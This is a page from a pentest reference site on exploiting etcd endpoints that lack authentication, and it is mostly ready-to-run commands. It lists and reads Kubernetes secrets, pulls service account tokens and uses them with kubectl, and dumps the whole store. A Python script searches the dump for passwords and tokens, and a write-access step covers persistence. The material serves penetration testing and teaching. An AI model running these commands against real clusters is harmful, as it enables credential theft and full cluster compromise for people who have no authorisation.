# etcd Unauthenticated Access

> Exploit unauthenticated etcd endpoints to extract secrets, credentials, and Kubernetes configs via direct API queries to port 2379.

- **URL:** https://hackindex.io/services/etcd/exploitation/etcd-unauthenticated-access
- **Path:** etcd > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/etcd/exploitation.md)
- **Published:** 2026-09-14
- **Updated:** 2026-09-14

An unauthenticated etcd instance exposes all stored key-value pairs, including Kubernetes secrets, TLS certificates, and service account tokens. In a Kubernetes environment, extracting these secrets typically leads to full cluster compromise. Confirm access is open through [etcd enumeration](https://hackindex.io/services/etcd/enumeration/etcd-enumeration) first.

## Extracting Kubernetes Secrets

Kubernetes stores secrets in etcd under `/registry/secrets/`. Values are base64-encoded (or encrypted if encryption-at-rest is configured).

**List all secrets across namespaces**

```bash
etcdctl --endpoints=http://$TARGET_IP:2379 get /registry/secrets/ --prefix --keys-only
# /registry/secrets/default/db-credentials
# /registry/secrets/default/tls-cert
# /registry/secrets/kube-system/admin-token-x4b2z
# /registry/secrets/kube-system/kube-proxy
# /registry/secrets/monitoring/grafana-admin
```

**Read a specific secret**

```bash
etcdctl --endpoints=http://$TARGET_IP:2379 get /registry/secrets/default/db-credentials
```

To extract readable values from the protobuf output, pipe through `strings` or decode with a protobuf parser.

**Extract readable strings from secret data**

```bash
etcdctl --endpoints=http://$TARGET_IP:2379 get /registry/secrets/default/db-credentials | strings
```

## Service Account Token Extraction

Kubernetes service account tokens stored in etcd grant API access to the cluster. Admin-level tokens allow full cluster control.

```bash
etcdctl --endpoints=http://$TARGET_IP:2379 get /registry/secrets/kube-system/ --prefix --keys-only | grep token
# /registry/secrets/kube-system/admin-token-x4b2z
# /registry/secrets/kube-system/default-token-abc12
```

**Use extracted token with kubectl**

```bash
kubectl --server=https://$TARGET_IP:6443 --token='<extracted-token>' --insecure-skip-tls-verify get pods -A
```

## Bulk Data Dump

Dump all keys and values from etcd for offline analysis.

```bash
etcdctl --endpoints=http://$TARGET_IP:2379 get / --prefix --limit=0 -w json > etcd_dump.json
```

**Search dump for passwords and tokens**

```bash
cat etcd_dump.json | python3 -c "
import json, base64, sys
data = json.load(sys.stdin)
for kv in data.get('kvs', []):
    key = base64.b64decode(kv['key']).decode('utf-8', errors='ignore')
    val = base64.b64decode(kv['value']).decode('utf-8', errors='ignore')
    if any(w in val.lower() for w in ['password', 'token', 'secret', 'key']):
        print(f'--- {key} ---')
        print(val[:500])
        print()
"
```

## Writing Keys (Persistence)

With write access, an attacker can modify Kubernetes resources directly in etcd, bypassing RBAC and admission controllers.

> [!WARNING]
> Modifying etcd directly can break the Kubernetes cluster. In a pentest, demonstrate the capability by writing a harmless test key rather than modifying real resources.

```bash
etcdctl --endpoints=http://$TARGET_IP:2379 put /test/pentest-proof "access-confirmed"
# OK
```

## References

- [Kubernetes: Secrets](https://kubernetes.io/docs/concepts/configuration/secret/) - How Kubernetes stores secrets, including etcd backend details.
- [HackTricks: 2379 Pentesting etcd](https://hacktricks.wiki/en/network-services-pentesting/2379-pentesting-etcd.html) - etcd enumeration and exploitation with Kubernetes focus.